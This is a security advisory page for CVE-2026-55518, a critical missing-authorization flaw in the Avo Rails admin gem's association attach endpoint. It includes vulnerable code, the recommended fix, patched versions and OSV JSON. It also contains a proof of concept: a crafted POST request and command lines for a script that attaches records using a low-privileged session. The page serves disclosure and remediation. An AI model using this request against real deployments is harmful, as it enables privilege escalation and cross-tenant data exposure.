CVE-2026-55518: Avo Missing Authorization Vulnerability

CRITICAL
Advisory Identifier: GHSA-8fq9-273g-6mrg
CVSS 9.6
CWE-639 CWE-862 CWE-863
Published
Advisory Summary

CVE-2026-55518 is a CRITICAL (CVSS 9.6) missing authorization vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Avo libraries in the RubyGems ecosystem. The issue involves missing authorization in avo association attach endpoint allows unauthorized relationship manipulation and privilege escalation. Remediation is available by upgrading affected packages to version 3.32.1, 4.0.0.beta.51.

CVE-2026-55518 at a Glance

CVE Identifier CVE-2026-55518
GHSA Identifier GHSA-8fq9-273g-6mrg
Severity CRITICAL
CVSS v3.1 Base Score 9.6
CWE Classification CWE-639: Authorization Bypass Through User-Controlled Key
Affected Product Avo
Package Ecosystem RubyGems
Published Date
Last Updated

Security Impact

CVSS: 9.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-55518

To remediate this vulnerability, upgrade all affected Avo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

avo fixed: 3.32.1
Upgrade avo to 3.32.1
avo fixed: 4.0.0.beta.51
Upgrade avo to 4.0.0.beta.51
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for avo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55518, inspect your project dependencies for Avo:

inspect dependencies for avo

Analyze the terminal output to locate any version of Avo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.32.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Avo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A critical missing authorization flaw exists in Avo's association attach workflow. The UI and `GET /resources/:resource/:id/:related/new` path can check `attach_<association>?`, but the actual write endpoint, `POST /resources/:resource/:id/:related`, does not run the same authorization check before mutating the association. As a result, an authenticated low-privileged Avo user can bypass hidden/disabled attach controls and directly attach related records to a parent record by sending a crafted POST request. In applications where associations represent teams, tenants, roles, projects, users, memberships, ownership, or other authorization-bearing relationships, this can lead to privilege escalation and cross-tenant data exposure. ## Details The association attach route writes relationships through `Avo::AssociationsController#create`: ```ruby # config/routes.rb post "/:resource_name/:id/:related_name", to: "associations#create", as: "associations_create" ``` The controller registers an attach authorization callback only for `new`, not for `create`: ```ruby # app/controllers/avo/associations_controller.rb before_action :set_attachment_record, only: [:create, :destroy] before_action :authorize_index_action, only: :index before_action :authorize_attach_action, only: :new before_action :authorize_detach_action, only: :destroy ``` The `new` action is only the form-rendering step. The actual mutation happens in `create`: ```ruby def create if create_association create_success_action else create_fail_action end end ``` `create_association` then attaches the attacker-supplied related record to the parent: ```ruby def create_association association_name = BaseResource.valid_association_name(@record, association_from_params) perform_action_and_record_errors do if through_reflection? && additional_params.present? new_join_record.save elsif has_many_reflection? || through_reflection? @record.send(association_name) << @attachment_record else @record.send(:"#{association_name}=", @attachment_record) @record.save! end end end ``` The only attach-specific authorization helper is: ```ruby def authorize_attach_action authorize_if_defined "attach_#{@field.id}?" end ``` Because this helper is bound only to `new`, a policy that denies `attach_users?`, `attach_teams?`, `attach_roles?`, or similar methods blocks the UI/form path but does not protect the write path. This is inconsistent with the detach path, which does authorize the mutating `destroy` action: ```ruby before_action :authorize_detach_action, only: :destroy ``` The bug is especially dangerous because Avo already treats association authorization as an access-control boundary in UI components: ```ruby # lib/avo/concerns/checks_assoc_authorization.rb method_name = :"#{policy_method}_#{association_name}?".to_sym if service.has_method?(method_name, raise_exception: false) service.authorize_action(method_name, record:, raise_exception: false) else !Avo.configuration.explicit_authorization end ``` However, server-side enforcement is missing on the actual attach POST endpoint. ## Proof of Concept Prerequisites: 1. A Rails application mounts Avo, for example at `/admin`. 2. Avo authorization is enabled. 3. A low-privileged user can authenticate to Avo. 4. A parent record and a related record are both reachable by ID. 5. The relevant policy denies attaching the relationship, for example: ```ruby def attach_users? false end ``` Example target scenario: - Parent resource: `projects` - Parent ID: `1` - Related association: `users` - Related user ID to attach: `42` - Expected policy: low-privileged users must not be able to attach users to projects. The UI/form request may be blocked: ```http GET /admin/resources/projects/1/users/new ``` But the direct write endpoint can still be invoked: ```http POST /admin/resources/projects/1/users Content-Type: application/x-www-form-urlencoded authenticity_token=<CSRF>&fields[related_id]=42 ``` Run the attached PoC: ```bash python poc_avo_association_attach_bypass.py \ --base-url http://localhost:3000 \ --avo-root /admin \ --cookie "_app_session=<LOW_PRIVILEGED_SESSION_COOKIE>" \ --parent-resource projects \ --parent-id 1 \ --related-name users \ --related-id 42 \ --check-new ``` If `GET /new` is forbidden or redirected but the direct POST succeeds, the authorization bypass is confirmed. To perform the actual attach: ```bash python poc_avo_association_attach_bypass.py \ --base-url http://localhost:3000 \ --avo-root /admin \ --cookie "_app_session=<LOW_PRIVILEGED_SESSION_COOKIE>" \ --parent-resource projects \ --parent-id 1 \ --related-name users \ --related-id 42 \ --confirm-attach ``` Expected vulnerable result: - The low-privileged user can attach the related record despite `attach_<association>?` being denied. - The parent record now includes the related record. ## Impact This vulnerability allows unauthorized relationship manipulation through Avo. Depending on the affected association, the impact can include: - Privilege escalation by attaching a user to an admin group, privileged project, tenant, organization, role, or membership record. - Cross-tenant data exposure when tenant/user/project membership determines record visibility. - Integrity loss by changing ownership, assignment, access-control relationships, or business workflow state. - Policy bypass even when Avo UI controls correctly hide the attach button or deny the attach form. ## Recommended Fix Enforce attach authorization on the mutating endpoint. At minimum: ```ruby before_action :authorize_attach_action, only: [:new, :create] ``` Additionally: 1. Authorize against the parent record and the selected related record before writing the relationship. 2. Ensure `create` fails closed when `attach_<association>?` is missing and `explicit_authorization` is enabled. 3. Add regression tests that directly POST to `/resources/:resource_name/:id/:related_name` while `attach_<association>?` returns `false`. 4. Verify `has_many`, `has_one`, `has_many :through`, and `has_and_belongs_to_many` association paths all enforce the same server-side authorization.

CVE-2026-55518 Affected Avo Versions

2 component(s)
Fixed Versions:
3.32.14.0.0.beta.51
Product / Package Ecosystem Affected Versions Fixed Version
avo
RubyGems
< 3.32.1
3.32.1
avo
RubyGems
≥ 4.0.0.beta.1
< 4.0.0.beta.51
4.0.0.beta.51

References

Frequently Asked Questions

What is CVE-2026-55518?
CVE-2026-55518 is a security vulnerability in Avo involving Missing Authorization in Avo Association Attach Endpoint Allows Unauthorized Relationship Manipulation and Privilege Escalation under CWE-639: Authorization Bypass Through User-Controlled Key.
Which Avo versions are affected?
Affected versions include releases prior to 3.32.1, 4.0.0.beta.51 across affected packages: avo.
What version fixes CVE-2026-55518?
Upgrading to 3.32.1, 4.0.0.beta.51 (or the latest patched release for your respective branch) resolves the vulnerability.
Is avo affected?
Yes, avo is affected in releases prior to 3.32.1, 4.0.0.beta.51. Upgrade your dependency to 3.32.1, 4.0.0.beta.51 or later.
What is the CVSS score of CVE-2026-55518?
CVE-2026-55518 has a CVSS v3.1 base score of 9.6 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N.
What CWE is associated with CVE-2026-55518?
CVE-2026-55518 is classified under CWE-639: Authorization Bypass Through User-Controlled Key (The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.).
How can I check RubyGems dependencies for CVE-2026-55518?
Run the dependency tree command: 'inspect dependencies for avo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8fq9-273g-6mrg",
  "modified" : "2026-07-18T17:22:29Z",
  "published" : "2026-06-17T18:49:11Z",
  "aliases" : [ "CVE-2026-55518" ],
  "summary" : "Avo: Missing Authorization in Avo Association Attach Endpoint Allows Unauthorized Relationship Manipulation and Privilege Escalation",
  "details" : "## Summary\n\nA critical missing authorization flaw exists in Avo's association attach workflow. The UI and `GET /resources/:resource/:id/:related/new` path can check `attach_<association>?`, but the actual write endpoint, `POST /resources/:resource/:id/:related`, does not run the same authorization check before mutating the association.\n\nAs a result, an authenticated low-privileged Avo user can bypass hidden/disabled attach controls and directly attach related records to a parent record by sending a crafted POST request. In applications where associations represent teams, tenants, roles, projects, users, memberships, ownership, or other authorization-bearing relationships, this can lead to privilege escalation and cross-tenant data exposure.\n\n## Details\n\nThe association attach route writes relationships through `Avo::AssociationsController#create`:\n\n```ruby\n# config/routes.rb\npost \"/:resource_name/:id/:related_name\", to: \"associations#create\", as: \"associations_create\"\n```\n\nThe controller registers an attach authorization callback only for `new`, not for `create`:\n\n```ruby\n# app/controllers/avo/associations_controller.rb\nbefore_action :set_attachment_record, only: [:create, :destroy]\nbefore_action :authorize_index_action, only: :index\nbefore_action :authorize_attach_action, only: :new\nbefore_action :authorize_detach_action, only: :destroy\n```\n\nThe `new` action is only the form-rendering step. The actual mutation happens in `create`:\n\n```ruby\ndef create\n  if create_association\n    create_success_action\n  else\n    create_fail_action\n  end\nend\n```\n\n`create_association` then attaches the attacker-supplied related record to the parent:\n\n```ruby\ndef create_association\n  association_name = BaseResource.valid_association_name(@record, association_from_params)\n\n  perform_action_and_record_errors do\n    if through_reflection? && additional_params.present?\n      new_join_record.save\n    elsif has_many_reflection? || through_reflection?\n      @record.send(association_name) << @attachment_record\n    else\n      @record.send(:\"#{association_name}=\", @attachment_record)\n      @record.save!\n    end\n  end\nend\n```\n\nThe only attach-specific authorization helper is:\n\n```ruby\ndef authorize_attach_action\n  authorize_if_defined \"attach_#{@field.id}?\"\nend\n```\n\nBecause this helper is bound only to `new`, a policy that denies `attach_users?`, `attach_teams?`, `attach_roles?`, or similar methods blocks the UI/form path but does not protect the write path.\n\nThis is inconsistent with the detach path, which does authorize the mutating `destroy` action:\n\n```ruby\nbefore_action :authorize_detach_action, only: :destroy\n```\n\nThe bug is especially dangerous because Avo already treats association authorization as an access-control boundary in UI components:\n\n```ruby\n# lib/avo/concerns/checks_assoc_authorization.rb\nmethod_name = :\"#{policy_method}_#{association_name}?\".to_sym\n\nif service.has_method?(method_name, raise_exception: false)\n  service.authorize_action(method_name, record:, raise_exception: false)\nelse\n  !Avo.configuration.explicit_authorization\nend\n```\n\nHowever, server-side enforcement is missing on the actual attach POST endpoint.\n\n## Proof of Concept\n\nPrerequisites:\n\n1. A Rails application mounts Avo, for example at `/admin`.\n2. Avo authorization is enabled.\n3. A low-privileged user can authenticate to Avo.\n4. A parent record and a related record are both reachable by ID.\n5. The relevant policy denies attaching the relationship, for example:\n\n```ruby\ndef attach_users?\n  false\nend\n```\n\nExample target scenario:\n\n- Parent resource: `projects`\n- Parent ID: `1`\n- Related association: `users`\n- Related user ID to attach: `42`\n- Expected policy: low-privileged users must not be able to attach users to projects.\n\nThe UI/form request may be blocked:\n\n```http\nGET /admin/resources/projects/1/users/new\n```\n\nBut the direct write endpoint can still be invoked:\n\n```http\nPOST /admin/resources/projects/1/users\nContent-Type: application/x-www-form-urlencoded\n\nauthenticity_token=<CSRF>&fields[related_id]=42\n```\n\nRun the attached PoC:\n\n```bash\npython poc_avo_association_attach_bypass.py \\\n  --base-url http://localhost:3000 \\\n  --avo-root /admin \\\n  --cookie \"_app_session=<LOW_PRIVILEGED_SESSION_COOKIE>\" \\\n  --parent-resource projects \\\n  --parent-id 1 \\\n  --related-name users \\\n  --related-id 42 \\\n  --check-new\n```\n\nIf `GET /new` is forbidden or redirected but the direct POST succeeds, the authorization bypass is confirmed.\n\nTo perform the actual attach:\n\n```bash\npython poc_avo_association_attach_bypass.py \\\n  --base-url http://localhost:3000 \\\n  --avo-root /admin \\\n  --cookie \"_app_session=<LOW_PRIVILEGED_SESSION_COOKIE>\" \\\n  --parent-resource projects \\\n  --parent-id 1 \\\n  --related-name users \\\n  --related-id 42 \\\n  --confirm-attach\n```\n\nExpected vulnerable result:\n\n- The low-privileged user can attach the related record despite `attach_<association>?` being denied.\n- The parent record now includes the related record.\n\n## Impact\n\nThis vulnerability allows unauthorized relationship manipulation through Avo.\n\nDepending on the affected association, the impact can include:\n\n- Privilege escalation by attaching a user to an admin group, privileged project, tenant, organization, role, or membership record.\n- Cross-tenant data exposure when tenant/user/project membership determines record visibility.\n- Integrity loss by changing ownership, assignment, access-control relationships, or business workflow state.\n- Policy bypass even when Avo UI controls correctly hide the attach button or deny the attach form.\n\n## Recommended Fix\n\nEnforce attach authorization on the mutating endpoint.\n\nAt minimum:\n\n```ruby\nbefore_action :authorize_attach_action, only: [:new, :create]\n```\n\nAdditionally:\n\n1. Authorize against the parent record and the selected related record before writing the relationship.\n2. Ensure `create` fails closed when `attach_<association>?` is missing and `explicit_authorization` is enabled.\n3. Add regression tests that directly POST to `/resources/:resource_name/:id/:related_name` while `attach_<association>?` returns `false`.\n4. Verify `has_many`, `has_one`, `has_many :through`, and `has_and_belongs_to_many` association paths all enforce the same server-side authorization.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "avo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.32.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.32.0"
    }
  }, {
    "package" : {
      "ecosystem" : "RubyGems",
      "name" : "avo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0.beta.1"
      }, {
        "fixed" : "4.0.0.beta.51"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/avo-hq/avo/security/advisories/GHSA-8fq9-273g-6mrg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-55518"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/avo-hq/avo/pull/4568"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/avo-hq/avo/commit/995928e586fd1788dd496bd51c4dbe4a79cb2b9c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/avo-hq/avo"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/avo-hq/avo/releases/tag/v3.32.1"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/avo/CVE-2026-55518.yml"
  }, {
    "type" : "WEB",
    "url" : "https://www.cve.org/CVERecord?id=CVE-2026-55518"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639", "CWE-862", "CWE-863" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-17T18:49:11Z",
    "nvd_published_at" : "2026-07-17T21:17:09Z"
  }
}